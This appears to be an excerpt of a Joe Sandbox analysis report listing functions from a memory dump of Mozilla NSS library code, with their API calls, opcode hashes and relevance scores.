Part of subcall function 6CAD5DE0: PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CAD5EF0

PR_SetError.NSS3(FFFFE0B1,00000000), ref: 6CAD26F8

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

free.MOZGLUE(00000000), ref: 6CAD3434
free.MOZGLUE(?), ref: 6CAD3448
free.MOZGLUE(?), ref: 6CAD345C

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$Value$L_strncasecmpParam$ConfigErrorEvaluateNameSecmodStrdup_Utilisspace
String ID:
API String ID: 3127463018-0
Opcode ID: ddb6a0178b9248c6b7b6464fecdc7dd224dc8ff49727c149d2b946e2ff34ccbd
Instruction ID: f2d73e6cd651fac9760a9298644d5facada91c9f777a5d51c5d89460ce93748f
Opcode Fuzzy Hash: ddb6a0178b9248c6b7b6464fecdc7dd224dc8ff49727c149d2b946e2ff34ccbd
Instruction Fuzzy Hash: A211E1B5A001189BDF11DF68DC85ADA73B8FF05355F058078E89A97640EB31EA89CBE1

Function 6CB004C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6CB0461B,-00000004), ref: 6CB004DF
TlsGetValue.KERNEL32(?,00000000,?,6CB0461B,-00000004), ref: 6CB00510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6CB00520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6CB0461B,-00000004), ref: 6CB00534
GetLastError.KERNEL32(?,6CB0461B,-00000004), ref: 6CB00543

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: 54cee215695951f7fab0f2c2e7f072b5b2a76b1b6283d5108df51c3556adeded
Instruction ID: ef0e0bee76cc3a69b6979004fb9905f5a0c1ec42f4029d3752bb5ead2529f346
Opcode Fuzzy Hash: 54cee215695951f7fab0f2c2e7f072b5b2a76b1b6283d5108df51c3556adeded
Instruction Fuzzy Hash: 3F110A71F041C65BDB006E78BC94B6A3F74EF16319F644625E429C3D90EB31DA84CB92

Function 6CA88FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CA90710), ref: 6CA88FF1
PR_CallOnce.NSS3(6CBD2158,6CA89150,00000000,?,?,?,6CA89138,?,6CA90710), ref: 6CA89029
calloc.MOZGLUE(00000001,00000000,?,?,6CA90710), ref: 6CA8904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CA90710), ref: 6CA89066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CA90710), ref: 6CA89078

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: c48b5929b2566a793723801a2ea71e38fc5f8cfd6d34612591de5f663449221c
Instruction ID: 101a5c7b4db3ece507787973fbf9e66e87c77d794166f840f31396714c101ee5
Opcode Fuzzy Hash: c48b5929b2566a793723801a2ea71e38fc5f8cfd6d34612591de5f663449221c
Instruction Fuzzy Hash: C011E13570215167EB201AB9AD04A6A32BCEB827ADF580131FC98D6F40F752CD9583A2

Function 6CA9CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CAB1E10: TlsGetValue.KERNEL32 ref: 6CAB1E36
Part of subcall function 6CAB1E10: EnterCriticalSection.KERNEL32(?,?,?,6CA8B1EE,2404110F,?,?), ref: 6CAB1E4B
Part of subcall function 6CAB1E10: PR_Unlock.NSS3 ref: 6CAB1E76

free.MOZGLUE(?,6CA9D079,00000000,00000001), ref: 6CA9CDA5
PK11_FreeSymKey.NSS3(?,6CA9D079,00000000,00000001), ref: 6CA9CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CA9D079,00000000,00000001), ref: 6CA9CDCF
DeleteCriticalSection.KERNEL32(?,6CA9D079,00000000,00000001), ref: 6CA9CDE2
free.MOZGLUE(?), ref: 6CA9CDE9

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 3edf5ab97c324d12309f22659b6493dde27c7acc654659fb781a665e35eebc6e
Instruction ID: 99dd423b3b762181d30041b65f54566e06c78bb443e65ba672353645d165bc5f
Opcode Fuzzy Hash: 3edf5ab97c324d12309f22659b6493dde27c7acc654659fb781a665e35eebc6e
Instruction Fuzzy Hash: F811A3B2B01515ABDB00AEA5EC46A96B7BCBB0425C7180121F91997E11E732E5A4C7E1

Function 6CB02CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB02CEC

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB02D02
PR_EnterMonitor.NSS3(?), ref: 6CB02D1F
PR_ExitMonitor.NSS3(?), ref: 6CB02D42
PR_ExitMonitor.NSS3(?), ref: 6CB02D5B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: eeba1066ad98faa38b3c9af89ce33027bf3fa90885c382b702c1c92125466295
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: F701A1B1A002906FEB309E25FC44B8BBBA5EB45318F004625E85D86B20E632F819C693

Function 6CB02D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB02D9C

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB02DB2
PR_EnterMonitor.NSS3(?), ref: 6CB02DCF
PR_ExitMonitor.NSS3(?), ref: 6CB02DF2
PR_ExitMonitor.NSS3(?), ref: 6CB02E0B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: a81e4839797d2405fffcb7026cfda30b716ec50efd53513532c58a12aae7f9f7
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 1001C4B5B402909BEB309E25FC05BCBBBA5EF41318F000535E85D87B20D632F829C693

Function 6CA9AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CA83090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA9AE42), ref: 6CA830AA
Part of subcall function 6CA83090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA830C7
Part of subcall function 6CA83090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CA830E5
Part of subcall function 6CA83090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA83116
Part of subcall function 6CA83090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA8312B
Part of subcall function 6CA83090: PK11_DestroyObject.NSS3(?,?), ref: 6CA83154
Part of subcall function 6CA83090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA8317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CA799FF,?,?,?,?,?,?,?,?,?,6CA72D6B,?), ref: 6CA9AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CA799FF,?,?,?,?,?,?,?,?,?,6CA72D6B,?), ref: 6CA9AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CA72D6B,?,?,00000000), ref: 6CA9AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CA72D6B,?,?,00000000), ref: 6CA9AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CA72D6B,?,?), ref: 6CA9AEA3

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 54a1290a0d5068a0c2ba7f7d1fc8a2bcf851fc92e4b1ad006be763fbbd67a4fa
Instruction ID: fd1dc5943533f1bfddd5adada779ccfc30e8e85bbab8ac01fe414cd3de02d382
Opcode Fuzzy Hash: 54a1290a0d5068a0c2ba7f7d1fc8a2bcf851fc92e4b1ad006be763fbbd67a4fa
Instruction Fuzzy Hash: 1C01A476F2543057E701966CAD87AAB31EA8B8765CF080033E90AD7B01F615DDC942E3

Function 6CB8ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CB8A6D8), ref: 6CB8AE0D
free.MOZGLUE(?), ref: 6CB8AE14
DeleteCriticalSection.KERNEL32(6CB8A6D8), ref: 6CB8AE36
free.MOZGLUE(?), ref: 6CB8AE3D
free.MOZGLUE(00000000,00000000,?,?,6CB8A6D8), ref: 6CB8AE47

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 996e7e9e886904ea5242e214ebe5a52c7077ea87130f9e0a20e6fc7e53da0d50
Instruction ID: 22b333d8173ffc83853c7466647bedebb344f0e0aeb33675e52c5e2499d4482e
Opcode Fuzzy Hash: 996e7e9e886904ea5242e214ebe5a52c7077ea87130f9e0a20e6fc7e53da0d50
Instruction Fuzzy Hash: B5F09675202A05A7CA109FA9D80C957777CFF9E7757240328F53A83980D732E216CBE6

Function 6CA06C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CA06D36

Strings

%s at line %d of [%.10s], xrefs: 6CA06D2F
database corruption, xrefs: 6CA06D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA06D20

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 7530444b1a6b8cd320e8c236e811cf87223b0859245b1fd9ac6621cf7b412444
Instruction ID: 7c2a993b71433028b515e20341bed7fd347e1ab9a1d77e16a21ed1dc1945fd8b
Opcode Fuzzy Hash: 7530444b1a6b8cd320e8c236e811cf87223b0859245b1fd9ac6621cf7b412444
Instruction Fuzzy Hash: 47210030704B059BC710CE2AE841B5AB7E2AF8035CF288528DC599BF50E770F9C9C792

Function 6CB3CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CB3CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB3CC7B), ref: 6CB3CD7A
Part of subcall function 6CB3CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB3CD8E
Part of subcall function 6CB3CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB3CDA5
Part of subcall function 6CB3CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB3CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CB3CCB5
memcpy.VCRUNTIME140(6CBD14F4,6CBD02AC,00000090), ref: 6CB3CCD3
memcpy.VCRUNTIME140(6CBD1588,6CBD02AC,00000090), ref: 6CB3CD2B

Part of subcall function 6CA59AC0: socket.WSOCK32(?,00000017,6CA599BE), ref: 6CA59AE6
Part of subcall function 6CA59AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CA599BE), ref: 6CA59AFC

Part of subcall function 6CA60590: closesocket.WSOCK32(6CA59A8F,?,?,6CA59A8F,00000000), ref: 6CA60597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CB3CCB0

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 4670423b69ddeafd461381698ee055f999e8d4cc1f8654bd2c6951efa8d31b61
Instruction ID: 2bd2e0a6b6ddf198113be2c1d69c558ab0da9a869ce61a4fd11dc919d2e90216
Opcode Fuzzy Hash: 4670423b69ddeafd461381698ee055f999e8d4cc1f8654bd2c6951efa8d31b61
Instruction Fuzzy Hash: 7111D3F9B122D05EDB009FA9D8167563AB8D34673CF181129E41ACBB41E738EC048BD6

Function 6CAA2520 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetFunctionList), ref: 6CAA2538
PR_LogPrint.NSS3( ppFunctionList = 0x%p,?), ref: 6CAA2551

Part of subcall function 6CB809D0: PR_Now.NSS3 ref: 6CB80A22
Part of subcall function 6CB809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CB80A35
Part of subcall function 6CB809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CB80A66
Part of subcall function 6CB809D0: PR_GetCurrentThread.NSS3 ref: 6CB80A70
Part of subcall function 6CB809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CB80A9D
Part of subcall function 6CB809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CB80AC8
Part of subcall function 6CB809D0: PR_vsmprintf.NSS3(?,?), ref: 6CB80AE8
Part of subcall function 6CB809D0: EnterCriticalSection.KERNEL32(?), ref: 6CB80B19
Part of subcall function 6CB809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CB80B48
Part of subcall function 6CB809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CB80C76
Part of subcall function 6CB809D0: PR_LogFlush.NSS3 ref: 6CB80C7E

Strings

C_GetFunctionList, xrefs: 6CAA2533
ppFunctionList = 0x%p, xrefs: 6CAA254C

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: ppFunctionList = 0x%p$C_GetFunctionList
API String ID: 1907330108-525396629
Opcode ID: 9a9ca3070b72b626129a4ac711b1a61197c3858cd7fb29ea17a96bc6617c9ff0
Instruction ID: 2ddd8b32471637cd0cf51c59735dfd30317731d628d036d1e802ac0aeb5b2a7e
Opcode Fuzzy Hash: 9a9ca3070b72b626129a4ac711b1a61197c3858cd7fb29ea17a96bc6617c9ff0
Instruction Fuzzy Hash: F801F5783010C1AFCB009F99E96C75977B4F782329F084029E50993A10DB38A8CBCB92

Function 6CAB0630 Relevance: 6.1, APIs: 4, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CAB563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CAB195C
Part of subcall function 6CAB1940: EnterCriticalSection.KERNEL32(?,?,6CAB563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CA8EAC5,00000001), ref: 6CAB1970
Part of subcall function 6CAB1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CA8EAC5,00000001,?,6CA8CE9B,00000001,6CA8EAC5), ref: 6CAB19A0

PORT_Alloc_Util.NSS3(00000000,?,?,?,?,?,?,00000000,?,00000009), ref: 6CAB0678

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,?,00000009), ref: 6CAB06E6
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CAB0770

Part of subcall function 6CAB1EA0: PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CA96295,?,00000000,00000000,00000001,6CAB2653,?), ref: 6CAB1ECB

free.MOZGLUE(?), ref: 6CAB0787

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$Value$Alloc_CriticalEnterSectionUnlockUtilfreemalloc
String ID:
API String ID: 1159529522-0
Opcode ID: bb9bc4ca962575a338436842d2cc6c817c5e19bf0315bbed21a422ea1182bc71
Instruction ID: 24ccdb3defcbc815a848642e136c7d111bd0e83696edbe8502006abdc62583c8
Opcode Fuzzy Hash: bb9bc4ca962575a338436842d2cc6c817c5e19bf0315bbed21a422ea1182bc71
Instruction Fuzzy Hash: 444124B1D00645ABDB10DF689D81EEF7B7CAF85354F180528E919B7701EA31E994CBE0

Function 6CB88530 Relevance: 6.1, APIs: 4, Instructions: 127threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBD14E4,6CB3CC70), ref: 6CB88569
gethostbyaddr.WSOCK32(?,00000004,00000002), ref: 6CB885AD
GetLastError.KERNEL32(?,00000004,00000002), ref: 6CB885B6
PR_GetCurrentThread.NSS3(?,00000004,00000002), ref: 6CB885C6

Part of subcall function 6CA60F00: PR_GetPageSize.NSS3(6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000,?,6C9F204A), ref: 6CA60F1B
Part of subcall function 6CA60F00: PR_NewLogModule.NSS3(clock,6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000,?,6C9F204A), ref: 6CA60F25

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

